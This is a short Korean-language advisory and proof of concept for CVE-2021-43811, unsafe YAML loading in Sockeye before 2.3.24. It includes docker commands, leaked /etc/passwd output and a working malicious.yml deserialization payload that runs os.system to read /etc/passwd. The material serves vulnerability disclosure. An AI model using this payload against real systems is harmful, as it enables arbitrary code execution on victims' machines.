
awslabs/sockeye 안전하지 않은 YAML 로딩을 통한 코드 주입 CVE-2021-43811
awslabs/sockeye 안전하지 않은 YAML 로딩을 통한 코드 인젝션 CVE-2021-43811
Sockeye는 PyTorch 기반으로 구축된 신경망 기계 번역(Neural Machine Translation)을 위한 오픈소스 시퀀스-투-시퀀스 프레임워크입니다. Sockeye는 모델 및 데이터 구성을 디스크에 저장하기 위해 YAML을 사용합니다. 2.3.24 미만 버전은 안전하지 않은 YAML 로딩을 사용하므로, 구성 파일에 포함된 임의 코드가 실행되도록 조작될 수 있습니다. 공격자는 훈련된 모델의 구성 파일에 악성 코드를 추가하고 사용자들이 이를 다운로드하여 실행하도록 유도할 수 있습니다. 사용자가 모델을 실행하면 포함된 코드가 로컬에서 실행됩니다. 이 문제는 2.3.24 버전에서 수정되었습니다.

docker build -t cve-2021-43811 .
docker run -it --rm cve-2021-43811
출력 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-- snip --

malicious.yml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"